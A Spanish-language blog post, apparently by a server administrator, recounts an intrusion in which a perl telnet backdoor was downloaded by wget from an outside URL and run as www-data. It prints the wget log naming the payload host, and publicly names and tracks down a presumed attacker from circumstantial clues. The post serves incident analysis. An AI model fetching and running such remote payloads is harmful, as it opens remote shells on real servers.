De nuevo ha pasado, han vuelto a entrar en el servidor web de la asociación, aunque esta vez los daños y problemas ocasionados han sido mínimos: El atacante no se pudo hacer root, y probablemente ni siquiera logró conectarse.
Es el problema que tiene el alojar un servidor web con tanto código de tanta gente, y tantos programas instalados. Parece que las pruebas apuntan a un blog no actualizado, aunque es difícil saberlo, ya que no han quedado logs.
Tras la llamada de Maria Luisa y Suso de esta mañana nos pusimos a investigar el asunto. El apache no respondía a peticiones y habían descubierto un proceso perl ejecutándose como usuario www-data, y conectado a un puerto raro (pero que para gran pesar del atacante, está filtrado por la escuela). El código en cuestión estaba en /tmp/coke.txt, y era un simple servidor telnet, para dar al atacante una consola remota.
En los logs de errores aparecía la siguiente salida de un wget:
--15:09:54-- http://www.vetorial.net/~matheuss/coke.txt
=> `coke.txt'
Resolving www.vetorial.net... 200.143.88.8
Connecting to www.vetorial.net|200.143.88.8|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11,046 (11K) [text/plain]
0K .......... 100% 17.59 KB/s
15:09:57 (17.59 KB/s) - `coke.txt' saved [11046/11046]
En la web seguía estando disponible el script, y parecía ser del mismo atacante (lamentable error de pardillo), ya que el código incluía una password encriptada, sin indicar cuál era. No era una web de hacking ni un script de ejemplo con una password por defecto indicada en el código. Lo cual indica que el atacante tiene que saberla y la web es suya o tiene acceso a ella.
La web es de un proveedor de acceso a internet de Brasil, y el script tiene comentarios en portugués. Buscando por internet al tal Matheus se encuentra su perfil en otros sitios, relacionados con la temática de la página: Juegos RPC. Ups... tenemos su ICQ :))) Le he añadido a ver si se conecta y hablo con él. Va a ser divertido.
Lo más importante es encontrar por dónde entró para arreglar el fallo. Pero en los logs del apache no aparece la petición que baja el dichoso script y lo ejecuta. Parece como si el apache hubiera esperado a la finalización del script que ejecuta antes de loggear la petición, y como nunca acabó, se acabó tostando. Mirando las IPs que acceden algo antes sólo hay 2-3 de brasil, todas accediendo a un blog a raíz de búsquedas en Google Images, y de un proveedor de internet de Sau Paulo, lo mismo que dice el pavo en su perfil.
Seguiremos informando...